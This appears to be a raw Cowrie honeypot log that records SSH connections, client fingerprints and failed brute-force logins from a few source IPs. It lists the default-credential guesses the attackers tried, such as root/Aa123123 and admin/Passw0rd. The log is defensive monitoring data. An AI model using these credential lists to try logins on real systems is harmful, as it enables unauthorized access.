{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:41.586532Z","src_ip":"192.109.200.78","session":"0732785cae55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:42.003703Z","src_ip":"192.109.200.78","session":"0732785cae55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:43.091640Z","src_ip":"192.109.200.78","session":"0732785cae55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54416,"dst_ip":"159.203.135.109","dst_port":22,"session":"60f5e0101bb6","protocol":"ssh","message":"New connection: 159.203.92.129:54416 (159.203.135.109:22) [session: 60f5e0101bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:44.000445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:44.005427Z","src_ip":"159.203.92.129","session":"60f5e0101bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:44.010488Z","src_ip":"159.203.92.129","session":"60f5e0101bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Passw0rd","message":"login attempt [admin/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:44.025009Z","src_ip":"159.203.92.129","session":"60f5e0101bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:45.043722Z","src_ip":"159.203.92.129","session":"60f5e0101bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50778,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c07ec7bd331","protocol":"ssh","message":"New connection: 192.109.200.78:50778 (10.17.0.5:22) [session: 9c07ec7bd331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:45.867870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:45.872384Z","src_ip":"192.109.200.78","session":"9c07ec7bd331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:45.954825Z","src_ip":"192.109.200.78","session":"9c07ec7bd331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:46.209253Z","src_ip":"192.109.200.78","session":"9c07ec7bd331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:47.297034Z","src_ip":"192.109.200.78","session":"9c07ec7bd331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40488,"dst_ip":"10.17.0.5","dst_port":22,"session":"d082e4bd4c60","protocol":"ssh","message":"New connection: 192.109.200.78:40488 (10.17.0.5:22) [session: d082e4bd4c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:50.146816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:50.151136Z","src_ip":"192.109.200.78","session":"d082e4bd4c60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:50.233801Z","src_ip":"192.109.200.78","session":"d082e4bd4c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:50.487145Z","src_ip":"192.109.200.78","session":"d082e4bd4c60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:51.573781Z","src_ip":"192.109.200.78","session":"d082e4bd4c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40502,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab3a08cc8ceb","protocol":"ssh","message":"New connection: 192.109.200.78:40502 (10.17.0.5:22) [session: ab3a08cc8ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:54.337122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:54.384238Z","src_ip":"192.109.200.78","session":"ab3a08cc8ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:54.609542Z","src_ip":"192.109.200.78","session":"ab3a08cc8ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:54.856888Z","src_ip":"192.109.200.78","session":"ab3a08cc8ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:55.945935Z","src_ip":"192.109.200.78","session":"ab3a08cc8ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59000,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab80f8ab244b","protocol":"ssh","message":"New connection: 192.109.200.78:59000 (10.17.0.5:22) [session: ab80f8ab244b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:58.581635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:58.586578Z","src_ip":"192.109.200.78","session":"ab80f8ab244b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:58.669614Z","src_ip":"192.109.200.78","session":"ab80f8ab244b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:58.919628Z","src_ip":"192.109.200.78","session":"ab80f8ab244b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:00.009138Z","src_ip":"192.109.200.78","session":"ab80f8ab244b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59016,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dadb6f2bfd1","protocol":"ssh","message":"New connection: 192.109.200.78:59016 (10.17.0.5:22) [session: 3dadb6f2bfd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:02.736398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:02.741012Z","src_ip":"192.109.200.78","session":"3dadb6f2bfd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:02.825034Z","src_ip":"192.109.200.78","session":"3dadb6f2bfd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:03.076500Z","src_ip":"192.109.200.78","session":"3dadb6f2bfd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:04.160414Z","src_ip":"192.109.200.78","session":"3dadb6f2bfd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.908313035964966,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:05.816270Z","src_ip":"5.42.229.203","session":"bd97cf441219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59024,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3552c2f8623","protocol":"ssh","message":"New connection: 192.109.200.78:59024 (10.17.0.5:22) [session: e3552c2f8623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:07.918252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:07.923035Z","src_ip":"192.109.200.78","session":"e3552c2f8623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:08.009186Z","src_ip":"192.109.200.78","session":"e3552c2f8623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:08.269357Z","src_ip":"192.109.200.78","session":"e3552c2f8623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:09.500586Z","src_ip":"192.109.200.78","session":"e3552c2f8623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45926,"dst_ip":"10.17.0.5","dst_port":22,"session":"242f11af86a6","protocol":"ssh","message":"New connection: 192.109.200.78:45926 (10.17.0.5:22) [session: 242f11af86a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:10.920019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:10.925427Z","src_ip":"192.109.200.78","session":"242f11af86a6","protocol":"ssh"}
